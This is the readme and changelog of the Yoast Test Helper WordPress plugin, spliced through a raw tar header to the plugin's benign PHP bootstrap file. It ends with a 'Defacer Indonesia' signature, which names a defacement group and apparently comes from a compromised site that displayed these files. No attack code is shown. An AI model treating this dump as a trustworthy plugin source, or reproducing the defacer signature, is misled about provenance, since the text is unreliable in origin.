Yoast, Yoast SEO, development Requires at least: 6.5 Tested up to: 6.7 Stable tag: 1.18 Requires PHP: 7.2.5 License: GPLv2 or later License URI: https://www.gnu.org/licenses/gpl-2.0.html == Description == This plugin makes testing Yoast SEO, Yoast SEO add-ons and integrations and resetting the different features a lot easier. It also makes testing database migrations a lot easier as it allows you to set the database version and see if the upgrade process runs smoothly. = Features = This test helper plugin has several features: * Easily enable Yoast SEO development mode. * Saving and restoring Yoast SEO and Yoast SEO extension options, to test upgrade paths. * Add options debug info to Yoast SEO admin pages. * Reset the internal link counter, prominent words calculation and other features. * Add two post types (Books and Movies) with two taxonomies (Category and Genre) each and optionally disable the block editor for them. * Easily add an inline script after a selected script. * Replace your `.test` TLD with `example.com` in your Schema output, so you can easily copy paste to Google's Structured Data Testing Tool. * Change the number of URLs shown in an XML Sitemap. * Easily change your MyYoast URL. If you find bugs or would like to contribute, see our [GitHub repo](https://github.com/Yoast/yoast-test-helper). == Screenshots == 1. Screenshot of the Yoast test helper admin page. == Changelog == = 1.18 = Release date: February 1st, 2024 Enhancements: * Adds a `schema` endpoint to any URL. Suffix the URL with `/schema/` or `?schema` and you'll get only the Schema for that URL, pretty printed. Bugfixes: * Fixes a bug where the DB versions for Local SEO and News SEO would not be updated correctly. * Fixes some small bugs that could result in PHP notices/warnings/errors. Other: * Adds a checkbox to use the AI staging API. * Removes the checkbox to enable the feature flag for the structured data blocks. * Sets the WordPress tested up to version to 6.4. * Sets minimum WordPress version to 6.3. * Drops compatibility with PHP 5.6, 7.0 and 7.1. * Improves translation handling for post types registration and indexation reset. Props to @alexclassroom. = 1.17 = Release date: May 17th, 2022 Enhancements: * Improves compatibility with the First-time configuration released with Yoast SEO 18.9. Other: * Removes the obsolete `Reset Configuration Wizard` button. = 1.16 = Release date: April 19th, 2022 Enhancements: * Adds a new tool to safely downgrade Yoast SEO, including reverting all run migrations and resetting the version number. The tool currently works only for the free version of the plugin, without Premium enabled. Other: * Removes the Support Session feature. * Introduces buttons to reset the options and the cornerstone flags. * Introduces buttons to reset the first-time configuration and the premium workouts. * Adds buttons to reset the Free and Premium installation success screens, such that on reactivating the plugins, the corresponding installation success screen is shown again. * Set minimum WordPress version to 5.8 and tested up to version to 5.9. * Widen PHP version constraints. = 1.15 = Release date: October 19th, 2021 Enhancements: * Add Indexable data to Query Monitor. Bugfix: * Fixes a bug where not all the transients that hold unindexed counts were deleted when users hit the "Reset Indexables & Migrations" button. = 1.14 = Release Date: April 28th, 2021 Enhancements: * Adds the option to reset SEO roles & capabilities. = 1.13 = Release Date: March 18th, 2021 Bugfixes: * Fixes a bug where all MyYoast requests would go to live my.yoast.com instead of the selected value of the domain dropdown. = 1.12 = Release Date: December 24th, 2020 Enhancements: * Adds an "enable support session" box to the top of the Yoast Test helper screen. Enabling the checkbox on that box will load a HelpScout beacon and a CoBrowse script on both front and backend of the site, for the current user only, for the duration of 4 hours. This allows the user to co-browse with a Yoast support agent. Please only enable this when instructed to do so by Yoast support. = 1.11 = Release Date: December 2nd, 2020 Bugfixes: * Fixes a bug where a deprecated jQuery function was used. = 1.10 = Release Date: November 17th, 2020 Bugfixes: * Fixes a bug where the `Start SEO Data optimization` button was not shown after resetting the indexables tables and migrations. * Fixes a bug where no notification was shown to reindex your site when resetting the indexables tables and migrations, the prominent words table, and the internal link count. * Fixes a bug where the `Reset indexables tables & migrations` functionality did not reset the internal link count transients. Other: * Makes the plugin translatable. = 1.9 = Release Date: October 6th, 2020 Bugfixes: * Fixes a bug where the link columns could not be emptied due to an incorrect table name. * Fixes a bug where links could be attached to the wrong indexables when resetting the indexable tables and migrations. = 1.8 = Release Date: July 8th, 2020 Enhancements: * Added resets for indexables related options when using the Yoast Test Helper to reset the indexables and migrations. * Added resets for prominent word related functionality when using the Yoast Test Helper to reset the prominent words calculation. Bugfixes: * Fixes the database versions keys the plugin checks for Video SEO and WooCommerce SEO as they've been changed in these plugins. = 1.7 = Release Date: June 2nd, 2020 Enhancements: * Drops the table for prominent words (used by our internal linking functionality, among others) when you hit reset indexables. * Some minor code style fixes. = 1.6 = Release Date: April 9th, 2020 Enhancements: * Removed the feature toggle for internal linking as it's no longer in use. * Changed the order of admin boxes to be more logical. Bugfixes: * Fix fatal error with debug panel. Under the hood: * If an integration returns an empty string for its form controls, don't output the admin block. * Several QA fixes and CS fixes. * Travis now builds for PRs. * Added a `.gitattributes` for more easy exporting. = 1.5 = Release Date: April 3rd, 2020 Enhancements: * Added a button to reset your database to pre-Indexables state. When running an indexables branch this causes all migrations to re-run and thus all tables to be created cleanly. * Added a button to reset the configuration wizard state. * Permalinks now reset after enabling custom post types. Bugfixes: * Fixes a bug where saving the Influence schema setting wouldn't work. General: * Switched to YoastCS 2.0 and changed the auto-loading process. = 1.4. = Release Date: February 5th, 2020 Enhancements: * Added the option to set Yoast SEO Premium version number. = 1.3 = Release Date: February 4th, 2020 Enhancements: * Added the option to add an inline script after a selected script. * Added the option to enable and disable Yoast SEO development mode. * Adds a button to reset the tracking option, thus triggering another tracking request. * Slight styling improvements. Bugfixes: * Fixed the fact that disabling Gutenberg / the block editor on Books and Movies post type didn't actually work. * Made the plugin option autoload, removing the need for an extra query to get the option. * Increase the allowed number of characters for the Yoast SEO version number. = 1.2.5 = Release Date: July 12th, 2019 Enhancements: * Configures composer to always use php 5.6 as a platform. This will prevent possible conflicts with symphony dependencies of wordpress-seo. * Updates fstream to 1.0.12 and tar to 2.2.2. * From now on, `grunt deploy:trunk` and `grunt deploy:master` can be used to deploy. yoast-test-helper.php 0000644 00000003222 15004110556 0010642 0 ustar 00 <?php /** * Yoast Test Helper plugin. * * @package Yoast\WP\Test_Helper * @copyright Copyright (C) 2017-2024, Yoast BV - support@yoast.com * @license http://www.gnu.org/licenses/gpl-3.0.html GNU General Public License, version 3 or higher * * @wordpress-plugin * Plugin Name: Yoast Test Helper * Version: 1.18 * Plugin URI: https://github.com/yoast/yoast-test-helper * Description: Utility to provide testing features for Yoast plugins. * Author: Team Yoast * Author URI: https://yoa.st/team-yoast-test-helper * Text Domain: yoast-test-helper * Domain Path: /languages/ * License: GPL v3 * Requires at least: 6.4 * Requires PHP: 7.2.5 * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ define( 'YOAST_TEST_HELPER_FILE', __FILE__ ); define( 'YOAST_TEST_HELPER_DIR', dirname( YOAST_TEST_HELPER_FILE ) ); define( 'YOAST_TEST_HELPER_VERSION', '1.18' ); if ( file_exists( __DIR__ . '/vendor/autoload.php' ) ) { require __DIR__ . '/vendor/autoload.php'; } $yoast_test_helper = new Yoast\WP\Test_Helper\Plugin(); $yoast_test_helper->add_hooks();
Copyright ©2021 || Defacer Indonesia